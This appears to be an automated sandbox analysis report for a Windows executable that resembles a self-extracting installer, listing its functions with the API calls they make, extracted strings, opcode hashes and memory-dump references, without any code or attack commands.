Opcode ID: dfa615fb037564645f44ad0c9df72d73ae8c195cb4c23909927888e4df98dfef
Instruction ID: c9027b1923b6e5e3ac5fc0b63cd4f327c271f5fe481915297d96d9781726e516
Opcode Fuzzy Hash: dfa615fb037564645f44ad0c9df72d73ae8c195cb4c23909927888e4df98dfef
Instruction Fuzzy Hash: 780128A3E1157826F22481A94C88BB7595C8B9A774F1B0334BEAAA61D1D5645C0481E0

Uniqueness

Uniqueness Score: -1.00%

Function 00AF4AD0 Relevance: 3.0, APIs: 2, Instructions: 47fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00AF3680: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 00AF369F
Part of subcall function 00AF3680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00AF36B2
Part of subcall function 00AF3680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00AF36DA

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00AF4B05

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: 71781a3173e92a232ac814472c1bd60ddd1e1f2c051083121ceed8b9b91a57e4
Instruction ID: 42b2118dd46983947f3a6df69322739341d91aa836b9cf5a5b7ed08ae92539d0
Opcode Fuzzy Hash: 71781a3173e92a232ac814472c1bd60ddd1e1f2c051083121ceed8b9b91a57e4
Instruction Fuzzy Hash: D9014C71200209ABDB14DFE9EC05BB77769AB58726F148225FA399B1F1CB70D852CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00AF658A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

CharPrevA.USER32(00AF8B3E,00AF8B3F,00000001,00AF8B3E,-00000003,?,00AF60EC,00AF1140,?), ref: 00AF65BA

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 22f2811e4f00b98e33b3ecf939631c5c62ee949d2349de559ea82f67dc39ac22
Instruction ID: 592e370e2e9e3e3d385adbd527ac6658c2e0c382d18be58bed1dcbda6e9f8af7
Opcode Fuzzy Hash: 22f2811e4f00b98e33b3ecf939631c5c62ee949d2349de559ea82f67dc39ac22
Instruction Fuzzy Hash: E9F042321042589BD7314A9D9884B76BFDD9B96350F14015EFADEE3205CA655C4583A4

Uniqueness

Uniqueness Score: -1.00%

Function 00AF621E Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00AF623F

Part of subcall function 00AF44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00AF4518
Part of subcall function 00AF44B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 00AF4554

Part of subcall function 00AF6285: GetLastError.KERNEL32(00AF5BBC), ref: 00AF6285

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: DirectoryErrorLastLoadMessageStringWindows
String ID:
API String ID: 381621628-0
Opcode ID: 1be13162a57f067aec0935dd3a29f3c8400cb9c91a1734d2e8101f131301a6e0
Instruction ID: 6d26031c7ce501b58a112bfd057ca226b94d328dce583cd727d2c380f4bc4b71
Opcode Fuzzy Hash: 1be13162a57f067aec0935dd3a29f3c8400cb9c91a1734d2e8101f131301a6e0
Instruction Fuzzy Hash: 5EF0BEB0A0020CABE750EBF49E02BFA72A8DB98300F40006ABA8AD6181EE749D45C650

Uniqueness

Uniqueness Score: -1.00%

Function 00AF4B60 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,00000000,00000000,?,00AF4FA1,00000000), ref: 00AF4B98

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 591895dd05cd98a10b9c47de69434ca4653098f0d0abeedce750efa9f571f00b
Instruction ID: 109ecf618c49168168f08666139684be6ffd472606a4c32b0216bf37a0906a31
Opcode Fuzzy Hash: 591895dd05cd98a10b9c47de69434ca4653098f0d0abeedce750efa9f571f00b
Instruction Fuzzy Hash: 16F01271500B0C9E6B71EFF9DC08673BBE4AEA53A1310092EA57ED2191EB34A441CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00AF66AE Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,00AF4777,?,00AF4E38,?), ref: 00AF66B1

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 8f8aa1a432567f39723da9e0d61f3be2f59d6b707390925ff6c235e444b5eda4
Instruction ID: c5d1777203b708d68cfb66a83f301804c187594363355fbad209ad615bf9962c
Opcode Fuzzy Hash: 8f8aa1a432567f39723da9e0d61f3be2f59d6b707390925ff6c235e444b5eda4
Instruction Fuzzy Hash: 54B092B6222444426A6447B17C295A62A41A6D123A7E41B90F136C11E0CE3EC846D008

Uniqueness

Uniqueness Score: -1.00%

Function 00AF4CA0 Relevance: 1.3, APIs: 1, Instructions: 8memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 00AF4CAA

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: b299932b24e1bb42358c837c364089ce50a0ff65000e1b3e941d0534262032bc
Instruction ID: 620b326419579ec24ab7228be565a840ec750c48c977d3955c029f049ab75276
Opcode Fuzzy Hash: b299932b24e1bb42358c837c364089ce50a0ff65000e1b3e941d0534262032bc
Instruction Fuzzy Hash: A3B0123204420CB7CF001FC2FC09FD53F1DE7C4761F140000F60C454908E729411C69A

Uniqueness

Uniqueness Score: -1.00%

Function 00AF4CC0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE ref: 00AF4CC8

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 39ed19584ca47ce7464ec4f742be5adec3d8a0377d90d1011b2aa32fef3b7b71
Instruction ID: a703323542313e4db5fba30573048916c9734528fe153c77d57f0c2d354910b2
Opcode Fuzzy Hash: 39ed19584ca47ce7464ec4f742be5adec3d8a0377d90d1011b2aa32fef3b7b71
Instruction Fuzzy Hash: 64B0123100010CB78F001BC2FC088953F1DD6C02607000010F50C414218F339812C585

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00AF5C9E Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 422COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,00000000,?,?), ref: 00AF5CEE
GetModuleFileNameA.KERNEL32(00AF8B3E,00000104,00000000,?,?), ref: 00AF5DFC
CharUpperA.USER32(?), ref: 00AF5E3E
CharUpperA.USER32(-00000052), ref: 00AF5EE1
CompareStringA.KERNEL32(0000007F,00000001,RegServer,000000FF,?,000000FF), ref: 00AF5F6F
CharUpperA.USER32(?), ref: 00AF5FA7
CharUpperA.USER32(-0000004E), ref: 00AF6008
CharUpperA.USER32(?), ref: 00AF60AA
CloseHandle.KERNEL32(00000000,00AF1140,00000000,00000040,00000000), ref: 00AF61F1
ExitProcess.KERNEL32 ref: 00AF61F8

Strings

", xrefs: 00AF612D
", xrefs: 00AF5D78
:, xrefs: 00AF6118
RegServer, xrefs: 00AF5F66

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$"$:$RegServer
API String ID: 1203814774-25366791
Opcode ID: 7d4b226ed47de54112a97abb7ad00585109805179155036d2ee7fc356da74811
Instruction ID: 4c54e48153de96d537a68a3c1a3f513c55f942babc4d3a29dda1f7aa57a97c70
Opcode Fuzzy Hash: 7d4b226ed47de54112a97abb7ad00585109805179155036d2ee7fc356da74811
Instruction Fuzzy Hash: 0AD13971E04A4C5ADF39CBF88C487FA7B61AB26340F1441AAF786D6191DA748E87CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00AF1F90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?,?), ref: 00AF1EFB
OpenProcessToken.ADVAPI32(00000000), ref: 00AF1F02
ExitWindowsEx.USER32(00000002,00000000), ref: 00AF1FD3

Strings

SeShutdownPrivilege, xrefs: 00AF1F28

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Process$CurrentExitOpenTokenWindows
String ID: SeShutdownPrivilege
API String ID: 2795981589-3733053543
Opcode ID: 0206a1fcdde03d0ebe639e2938ec4ab084f7afff3ab735ec09e22649df1fc170
Instruction ID: f3b153a9d094bbc06bbae73cf8b9a63b0fbb14f9335d77c4c4cc29770f021801
Opcode Fuzzy Hash: 0206a1fcdde03d0ebe639e2938ec4ab084f7afff3ab735ec09e22649df1fc170
Instruction Fuzzy Hash: 9F21E5B1B40209FBDB209BE19C4AFBF76B8EB95B10F10051EFB06E6180DB758802D765

Uniqueness

Uniqueness Score: -1.00%

Function 00AF6CF0 Relevance: 6.0, APIs: 4, Instructions: 13COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00AF6E26,00AF1000), ref: 00AF6CF7
UnhandledExceptionFilter.KERNEL32(00AF6E26,?,00AF6E26,00AF1000), ref: 00AF6D00
GetCurrentProcess.KERNEL32(C0000409,?,00AF6E26,00AF1000), ref: 00AF6D0B
TerminateProcess.KERNEL32(00000000,?,00AF6E26,00AF1000), ref: 00AF6D12

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: ae8028c5d0439355f125d7b39c4a4727b5be8cc3fb0e97fd1996dff5ea222802
Instruction ID: b7c82326f5601efe66b38d9cdf04b44e7aeb3415d4abd11d9a44627b83cae284
Opcode Fuzzy Hash: ae8028c5d0439355f125d7b39c4a4727b5be8cc3fb0e97fd1996dff5ea222802
Instruction Fuzzy Hash: 43D0C9B2000108BBDB006BE1EC0CAA93F28EB58252F464100F31D82060CA329452CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00AF3210 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 188windowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32(000003E8,00AF8598,00000200), ref: 00AF3271
GetDesktopWindow.USER32 ref: 00AF33E2
SetWindowTextA.USER32(?,no230), ref: 00AF33F7
SendDlgItemMessageA.USER32(?,00000835,000000C5,00000103,00000000), ref: 00AF3410
GetDlgItem.USER32(?,00000836), ref: 00AF3426
EnableWindow.USER32(00000000), ref: 00AF342D
EndDialog.USER32(?,00000000), ref: 00AF343F

Strings

no230, xrefs: 00AF33F1
C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 00AF32E2, 00AF32E7, 00AF3331, 00AF3344, 00AF335B, 00AF336A

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Window$Item$DesktopDialogEnableLoadMessageSendStringText
String ID: C:\Users\user\AppData\Local\Temp\IXP002.TMP\$no230
API String ID: 2418873061-2758018701
Opcode ID: 85ce342ca08ee08255f52649a793ee15598b3df754427d25e2d7bbbd018d990b
Instruction ID: 4eb29d270c6c638287d159de77a7d88f597ec35b7302c8cbdd301343e3a08a1e
Opcode Fuzzy Hash: 85ce342ca08ee08255f52649a793ee15598b3df754427d25e2d7bbbd018d990b
Instruction Fuzzy Hash: 80516A7234024C77EF21EBF55C8CFBB6958DB96B52F104228F746DA1D0CEA48A02E265

Uniqueness

Uniqueness Score: -1.00%

Function 00AF2CAA Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 183synchronizationCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00AF2CD9
memset.MSVCRT ref: 00AF2CE9
memset.MSVCRT ref: 00AF2CF9

Part of subcall function 00AF468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00AF46A0
Part of subcall function 00AF468F: SizeofResource.KERNEL32(00000000,00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46A9
Part of subcall function 00AF468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00AF46C3
Part of subcall function 00AF468F: LoadResource.KERNEL32(00000000,00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46CC
Part of subcall function 00AF468F: LockResource.KERNEL32(00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46D3
Part of subcall function 00AF468F: memcpy_s.MSVCRT ref: 00AF46E5
Part of subcall function 00AF468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46EF

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF2D34
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF2D40
CreateMutexA.KERNEL32(00000000,00000001,?,00000104,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF2DAE
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 00AF2DBD
CloseHandle.KERNEL32(no230,00000000,00000020,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF2E0A

Part of subcall function 00AF44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00AF4518
Part of subcall function 00AF44B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 00AF4554

Strings

no230, xrefs: 00AF2D04, 00AF2DD9, 00AF2DF0
INSTANCECHECK, xrefs: 00AF2D95
VERCHECK, xrefs: 00AF2E54
TITLE, xrefs: 00AF2D09
EXTRACTOPT, xrefs: 00AF2D4D

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Resource$memset$CreateEventFindLoad$CloseErrorFreeHandleLastLockMessageMutexSizeofStringmemcpy_s
String ID: EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK$no230
API String ID: 1002816675-1643897000
Opcode ID: 356c4de4edc5d2883880e77b3caa4f1f3f4adac42c68839f01da441bde898943
Instruction ID: 3193cf73ae19c3db97019c19740a7f7a669be357c39256023ab75f6207a898f1
Opcode Fuzzy Hash: 356c4de4edc5d2883880e77b3caa4f1f3f4adac42c68839f01da441bde898943
Instruction Fuzzy Hash: CF51C27034030DABE760E7E4DD4ABBB2AA9EB95740F104139FB45D61D1EBB88C42C725

Uniqueness

Uniqueness Score: -1.00%

Function 00AF34F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119threadwindowCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(00000000), ref: 00AF3535
EndDialog.USER32(?,?), ref: 00AF3541
ResetEvent.KERNEL32 ref: 00AF355F
SetEvent.KERNEL32(00AF1140,00000000,00000020,00000004), ref: 00AF3590
GetDesktopWindow.USER32 ref: 00AF35C7
GetDlgItem.USER32(?,0000083B), ref: 00AF35F1
SendMessageA.USER32(00000000), ref: 00AF35F8
GetDlgItem.USER32(?,0000083B), ref: 00AF3610
SendMessageA.USER32(00000000), ref: 00AF3617
SetWindowTextA.USER32(?,no230), ref: 00AF3623
CreateThread.KERNEL32 ref: 00AF3637
EndDialog.USER32(?,00000000), ref: 00AF3671

Strings

no230, xrefs: 00AF361D

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: DialogEventItemMessageSendThreadWindow$CreateDesktopResetTerminateText
String ID: no230
API String ID: 2406144884-1983429894
Opcode ID: f4ff0c9a10750c1e20c20770990cab357490c70496cf11f569cc283b7d134e19
Instruction ID: 061d1828646824db0d57be6cf38820154cf663b9f669b72193a7bcc335f35532
Opcode Fuzzy Hash: f4ff0c9a10750c1e20c20770990cab357490c70496cf11f569cc283b7d134e19
Instruction Fuzzy Hash: 8231F3B2240308BBDB609FE5EC4DEBB3A79E799B41F104629F706D52B0CB758902CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00AF4224 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 132libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000001), ref: 00AF4236
GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 00AF424C
GetProcAddress.KERNEL32(00000000,000000C3), ref: 00AF4263
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 00AF427A
GetTempPathA.KERNEL32(00000104,00AF88C0,?,00000001), ref: 00AF429F
CharPrevA.USER32(00AF88C0,015F1181,?,00000001), ref: 00AF42C2
CharPrevA.USER32(00AF88C0,00000000,?,00000001), ref: 00AF42D6
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 00AF4391
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 00AF43A5

Strings

SHELL32.DLL, xrefs: 00AF422F
SHGetPathFromIDList, xrefs: 00AF4274
SHBrowseForFolder, xrefs: 00AF4246

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: f3b7b33ea75d29a615f0bc4c0f6930eb27d63eb3ec9ba623e858189a352574c6
Instruction ID: 76339810ff84f1619b9d2da208878735baa2d70bf9113a8c002baaee1bdb5702
Opcode Fuzzy Hash: f3b7b33ea75d29a615f0bc4c0f6930eb27d63eb3ec9ba623e858189a352574c6
Instruction Fuzzy Hash: 7B41E9B4A00209AFDB11AFE4DC84ABE7BB4EB49384F044669FB45A7351CF788C02C765

Uniqueness

Uniqueness Score: -1.00%

Function 00AF44B9 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160memorywindowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00AF4518
MessageBoxA.USER32(?,?,no230,00010010), ref: 00AF4554
LocalAlloc.KERNEL32(00000040,00000065), ref: 00AF45A3
LocalAlloc.KERNEL32(00000040,00000065), ref: 00AF45E3
LocalAlloc.KERNEL32(00000040,00000002), ref: 00AF460D
MessageBeep.USER32(00000000), ref: 00AF4630
MessageBoxA.USER32(?,00000000,no230,00000000), ref: 00AF4666
LocalFree.KERNEL32(00000000), ref: 00AF466F

Part of subcall function 00AF681F: GetVersionExA.KERNEL32(?,00000000,00000002), ref: 00AF686E
Part of subcall function 00AF681F: GetSystemMetrics.USER32(0000004A), ref: 00AF68A7
Part of subcall function 00AF681F: RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 00AF68CC
Part of subcall function 00AF681F: RegQueryValueExA.ADVAPI32(?,00AF1140,00000000,?,?,0000000C), ref: 00AF68F4
Part of subcall function 00AF681F: RegCloseKey.ADVAPI32(?), ref: 00AF6902

Strings

no230, xrefs: 00AF4545, 00AF465A
LoadString() Error. Could not load string resource., xrefs: 00AF44E4

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Local$AllocMessage$BeepCloseFreeLoadMetricsOpenQueryStringSystemValueVersion
String ID: LoadString() Error. Could not load string resource.$no230
API String ID: 3244514340-3895311705
Opcode ID: f95c9092f32b851d155663170847bfff16e5ca0577b1c344cdd9128f48b92cd3
Instruction ID: e650579887571212678eaad77f470c2c46069867dbf1dc5b9c981e450047d68d
Opcode Fuzzy Hash: f95c9092f32b851d155663170847bfff16e5ca0577b1c344cdd9128f48b92cd3
Instruction Fuzzy Hash: 5E51B37190011DABDB21AFE88C48BBB7B69EF49340F154195FA49A7241DB32DE06CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00AF2773 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 114registryCOMMON

Download Yara Rule

APIs

CharUpperA.USER32(220F3307,00000000,00000000,00000000), ref: 00AF27A8
CharNextA.USER32(0000054D), ref: 00AF27B5
CharNextA.USER32(00000000), ref: 00AF27BC
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00AF2829
RegQueryValueExA.ADVAPI32(?,00AF1140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00AF2852
ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00AF2870
RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00AF28A0
